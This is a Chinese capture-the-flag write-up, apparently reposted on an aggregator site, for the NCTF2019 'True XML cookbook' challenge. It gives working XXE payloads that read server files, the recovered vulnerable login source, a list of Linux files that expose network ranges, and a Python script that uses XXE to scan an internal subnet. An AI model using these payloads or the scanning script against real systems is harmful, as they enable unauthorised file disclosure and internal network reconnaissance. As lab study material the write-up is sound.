[NCTF2019]True XML cookbook

TRY

尝试XML外部实体注入

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE user[<!ENTITY flag SYSTEM "file://./doLogin.php">
]>
<user><username>
&flag;
</username><password>1</password></user>

出现报错:

Warning: DOMDocument::loadXML(): remote host file access not supported, file://./doLogin.php in /var/www/html/doLogin.php on line 16

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE user[<!ENTITY flag SYSTEM "file:///var/www/html/doLogin.php">
]>
<user><username>
&flag;
</username><password>1</password></user>

使用绝对路径回显code 0,因该是引入成功了但是看不到源码。

应该是我记错了,file协议不能用相对路径,只能用绝对路径

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE user[<!ENTITY flag SYSTEM "php://filter/convert.base64-encode/resource=doLogin.php">
]>
<user><username>
&flag;
</username><password>1</password></user>

成功拿到源码:

<?php
$USERNAME = 'admin'; 
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; 
$result = null;libxml_disable_entity_loader(false);//允许解析外部实体
$xmlfile = file_get_contents('php://input');try{$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom($dom);$username = $creds->username;$password = $creds->password;if($username == $USERNAME && $password == $PASSWORD){$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);}else{$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);}	
}catch(Exception $e){$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

外部实体没有禁用,但是不知道flag的位置。感觉可以尝试反弹shell或者注入一句话木马。

WP

flag在内网上,考点是利用XXE进行内网探测。

/etc/hosts 是一个在类 Unix 系统(如 Linux、macOS 等)中用于本地域名解析的文本文件,它允许用户手动指定 IP 地址与域名(或主机名)的映射关系,优先级高于 DNS 服务器解析。

读取结果:

fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
127.0.0.1 localhost

发现和题解有所不同,并没有暴露IP线索。

在 Linux 系统中,以下文件可能包含或暴露 IP 网段相关信息:

  1. /etc/hosts
    存放本地静态 IP 与主机名的映射关系,可能包含本机或局域网内的 IP 网段信息,例如局域网设备的固定 IP 配置。
  2. /etc/network/interfaces(Debian/Ubuntu 系统)或 */etc/sysconfig/network-scripts/ifcfg- **(RHEL/CentOS 系统)
    存储网络接口的配置信息,包括 IP 地址、子网掩码、网关等,直接暴露本机所在的 IP 网段。
  3. /proc/net/fib_trie - 内核维护的路由信息数据结构,包含系统当前所有已知的 IP 网段路由条目,可通过该文件分析系统可达的网络网段。
    4.** /etc/resolv.conf - 存放 DNS 服务器的 IP 地址,这些 DNS 服务器的 IP 可能属于特定网段,间接暴露网络环境的 IP 规划。
    5.
    /var/log/syslog 、 /var/log/messages ** 等系统日志文件
    日志中可能记录网络连接、服务启动等信息,包含访问过的 IP 地址或网段(如 SSH 登录记录、服务绑定的 IP 等)。
    6.** /proc/net/arp - 存放当前 ARP 缓存表,包含局域网内设备的 IP 与 MAC 地址映射,直接暴露本地局域网的 IP 网段。
    7.
    /etc/netplan/*.yaml**(现代 Ubuntu 系统)
    网络配置文件,包含 IP 地址、子网掩码、网关等信息,与 interfaces 文件作用类似,暴露本机所在网段。
  4. /proc/net/tcp 和 /proc/net/udp-记录当前系统建立的 TCP/UDP 连接信息,包含本地和远程的 IP 地址及端口,可从中提取涉及的 IP 网段。
    这些文件中,网络配置文件(如 interfaces、netplan)和路由 / 连接信息文件(如 fib_trie、arp、tcp)是暴露 IP 网段最直接的来源。

从/proc/net/fib_trie中得到:

Main:
±- 0.0.0.0/0 3 0 5
±- 0.0.0.0/4 2 0 2
|-- 0.0.0.0
/0 universe UNICAST
|-- 10.244.166.182
/32 host LOCAL
±- 127.0.0.0/8 2 0 2
±- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
|-- 169.254.1.1
/32 link UNICAST
Local:
±- 0.0.0.0/0 3 0 5
±- 0.0.0.0/4 2 0 2
|-- 0.0.0.0
/0 universe UNICAST
|-- 10.244.166.182
/32 host LOCAL
±- 127.0.0.0/8 2 0 2
±- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
|-- 169.254.1.1
/32 link UNICAST

看到暴露的一个IP:10.244.166.182

利用bp探测该网段下存活IP,因为没能设置INTRUDER的响应超时,太慢了。用脚本跑一下:

import requests
from requests.exceptions import Timeout# 目标URL
url = "http://e3917a75-39eb-4d8a-8c26-95fb7f5f9bf1.node5.buuoj.cn:81/doLogin.php"# 请求头
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0","Accept": "application/xml, text/xml, */*; q=0.01","Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Accept-Encoding": "gzip, deflate, br","Content-Type": "application/xml;charset=utf-8","X-Requested-With": "XMLHttpRequest","Origin": "http://e3917a75-39eb-4d8a-8c26-95fb7f5f9bf1.node5.buuoj.cn:81","Connection": "close","Referer": "http://e3917a75-39eb-4d8a-8c26-95fb7f5f9bf1.node5.buuoj.cn:81/","Priority": "u=0"
}for i in range(1, 255):print(i)# 请求体数据data = f'<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE user[<!ENTITY flag SYSTEM "http://10.244.166.{i}">]><user><username>&flag;</username><password>1</password></user>'try:# 发送POST请求response = requests.post(url,headers=headers,data=data,verify=False,timeout=1)# 检查HTTP错误状态码(4xx, 5xx)response.raise_for_status()# 打印响应结果print("状态码:", response.status_code)print("响应内容:", response.text)except Timeout:print("错误: 请求超时,服务器未在指定时间内响应")

在这里插入图片描述
说明存在内网10.244.166.191

总结

首先是基础的XML外部实体注入,然后利用该漏洞探测内网。绝大部分情况下expect://协议肯定是不被允许的,所以无法执行系统命令反弹shell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/93920.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/93920.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

嵌入式硬件篇---模块使用

在电子开发、自动化控制等领域&#xff0c;“模块” 是实现特定功能的标准化组件&#xff08;可以理解为 “功能积木”&#xff09;。不同模块分工明确&#xff0c;比如有的负责感知环境&#xff08;传感器&#xff09;&#xff0c;有的负责通信&#xff08;蓝牙 / WiFi&#x…

密码管理中Null 密码

Null 密码定义&#xff1a;Null 密码是指允许用户或系统账户使用空密码&#xff08;即不输入任何字符&#xff09;进行登录或身份验证的配置。危害&#xff1a;完全绕过身份验证&#xff1a;这是最严重的危害。攻击者无需破解或窃取任何密码&#xff0c;只需输入用户名并留空密…

git新建项目如何推送到远程仓库

​ git新建项目如何推送到远程仓库 一、远程代码库操作(gitee为例) 1. 建新仓库 2. 找到地址:这里可以看到用户名等其他信息 3. 记住地址url(https) 二、本地操作 1. 安装git 2. 创建项目 3. 在当前项目下打开git bash 4. 添加远程仓库 5. 检查远程仓库地址 6. 检查当前状…

代码管理平台Gitlab如何通过 ZeroNews 实现远程访问?

Gitlab介绍1.1 GitLabGitLab 是一个基于 Web 的开源代码托管平台&#xff0c;集代码托管、项目管理、持续集成与持续部署等功能于一身。它采用 Git 作为版本控制系统&#xff0c;界面友好、功能丰富。相较于市场上的 Gitee 和 GitHub&#xff0c;GitLab 有以下优势&#xff1a;…

基于STM32F103C8T6控制A4988模块驱动2相4线步进电机

文章目录一、A4988模块简介二、A4988引脚说明三、A4988的Vref电压调节四、STM32F103C8T6控制A4988驱动2相4线步进电机准备工作引脚接线代码示例效果展示五、A4988电机驱动板常见问题一、A4988模块简介 A4988 是一款功能齐全的微步进电机驱动器&#xff0c;内置转换器&#xff0…

基于单片机智能晾衣架/智能窗户/智能窗帘设计

传送门 &#x1f449;&#x1f449;&#x1f449;&#x1f449;其他作品题目速选一览表 &#x1f449;&#x1f449;&#x1f449;&#x1f449;其他作品题目功能速览 概述 智能晾衣架系统基于单片机设计&#xff0c;融合传感器技术与物联网功能&#xff0c;实现衣物的自…

Python爬虫实战:研究dark-fantasy,构建奇幻文学数据采集分析系统

1. 引言 1.1 研究背景 奇幻文学作为奇幻文学的重要子类别,融合了哥特式元素与传统奇幻设定,以其对人性的深刻探索和复杂的道德困境构建,成为当代文学研究的重要对象。与传统奇幻文学强调英雄主义和光明战胜黑暗的叙事不同,奇幻往往展现道德边界、复杂的角色动机和充满不确…

算法提升树形数据结构-(线段树)

今天介绍有关线段树的相关部分的知识&#xff0c;线段树是树的数据结构中十分重要的算法处理思想。1.建立初始树的条件2.基本框架3.区间修改的相关代码4.区间查询的代码题目描述给定一个长度为 N 的数组 a&#xff0c;其初值分别为 a1​,a2​,...,aN​。现有 Q 个操作&#xff…

java-代码随想录第十四天| 二叉树层序遍历相关题目

目录 102.二叉树的层序遍历 107.二叉树的层次遍历II 199.二叉树的右视图 637.二叉树的层平均值 429.N叉树的层序遍历 515.在每个树行中找最大值 116.填充每个节点的下一个右侧节点指针 117.填充每个节点的下一个右侧节点指针II 104.二叉树的最大深度 111.二叉树的最小…

C++智能指针详解:告别内存泄漏,拥抱安全高效

✨✨小新课堂开课了&#xff0c;欢迎欢迎~✨✨ &#x1f388;&#x1f388;养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; 所属专栏&#xff1a;C&#xff1a;由浅入深篇 小新的主页&#xff1a;编程版小新-CSDN博客 引言&#xff1a;为什么引入智能指针&#…

算法训练营day57 图论⑦ prim算法精讲、kruskal算法精讲

两种最小生成树算法讲解 prim算法精讲 卡码网53. 寻宝 本题题目内容为最短连接&#xff0c;是最小生成树的模板题&#xff0c;那么我们来讲一讲最小生成树。最小生成树可以使用prim算法也可以使用kruskal算法计算出来。本篇我们先讲解prim算法。 最小生成树是所有节点的最小连…

148-基于Python的2024物流年度销售收入数据可视化分析系统

基于Python Django的物流数据可视化分析系统开发实录 项目背景 随着物流行业数据量的激增&#xff0c;企业对数据分析和可视化的需求日益增长。传统的Excel分析方式难以满足多维度、实时、交互式的数据洞察需求。为此&#xff0c;我们开发了一个基于Python Django的物流年度销售…

Python中的关键字参数:灵活与可读性的完美结合(Effective Python 第23条)

在Python编程中&#xff0c;函数参数的传递方式灵活多样&#xff0c;而其中一种特别强大的方式就是关键字参数。关键字参数不仅能够提升代码的可读性&#xff0c;还为函数的设计和调用提供了极大的便利。本文将深入探讨关键字参数的用法、优势以及实际应用中的注意事项。 一、关…

005.Redis 主从复制架构

主从复制概念与原理 核心概念 主节点&#xff08;Master&#xff09;&#xff1a;唯一接受写操作的节点&#xff0c;数据修改后异步复制到从节点。 从节点&#xff08;Replica&#xff09;&#xff1a;复制主节点数据的节点&#xff0c;默认只读&#xff08;可配置为可写但不…

Android Studio 模拟器 “******“ has terminated 问题

问题&#xff1a;Android Studio 模拟器 "**" has terminated 问题设备信息&#xff1a;CPU:I5 7500U RAM:64GB System:Windows 10 64位解决&#xff1a; 网上所有办法都尝试后仍然不可行可尝试如下办法&#xff1a;1、此电脑→管理→设备管理→显示适配器→右击→…

uniapp 懒加载图片

实现的功能 1.一次性获取图片。 2.按用户视野范围内看到的图片滚动下来进行懒加载,提高浏览器性能。 3.不要一次性加载全部的图片 1.给父组件绑定一个滚动监听 1.页面路径:/pages/Home/index.vue 不在一个页面的话用 EventBus去触发。@scroll="handleScroll2" Ev…

Android - 资源类型 MINE Type

一、概念MINE&#xff08;Multipurpose Internet Mail Extensions&#xff09;最初是为了标识电子邮件附件的类型&#xff0c;在 HTML 中使用 content-type 属性表示&#xff0c;描述了文件类型的互联网标准。格式&#xff1a;媒体类型/子类型&#xff0c;可使用通配符*。如 au…

php8.+ 新函数总结

PHP系统函数是PHP核心提供的内置函数&#xff0c;用于执行常见任务&#xff0c;如字符串操作、数组处理、数学运算等。它们通过预定义代码块封装了特定功能&#xff0c;开发者可直接调用而无需重复编写代码。 而 PHP 8.0以后又新增了一些实用函数&#xff0c;今天总结部分常见的…

Qt事件处理机制详解

一、事件处理基本流程在Qt中&#xff0c;所有从QObject派生的类都能处理事件。事件处理的核心流程如下&#xff1a;事件入口函数&#xff1a;bool QObject::event(QEvent *e)参数e包含事件信息&#xff0c;通过e->type()获取事件类型返回值true表示事件已被处理&#xff0c;…

Zynq中级开发七项必修课-第三课:S_AXI_GP0 主动访问 PS 地址空间

Zynq中级开发七项必修课-第三课&#xff1a;S_AXI_GP0 主动访问 PS 地址空间 目标1.0 编写 AXI-Lite Master&#xff1a;按键计数 → 写入 PS 内存1.1 PL 触发中断 → PS 响应并串口打印按键计数值BD图axi_lite_master.v // // AXI4-Lite Simple Master (single-shot, non-pip…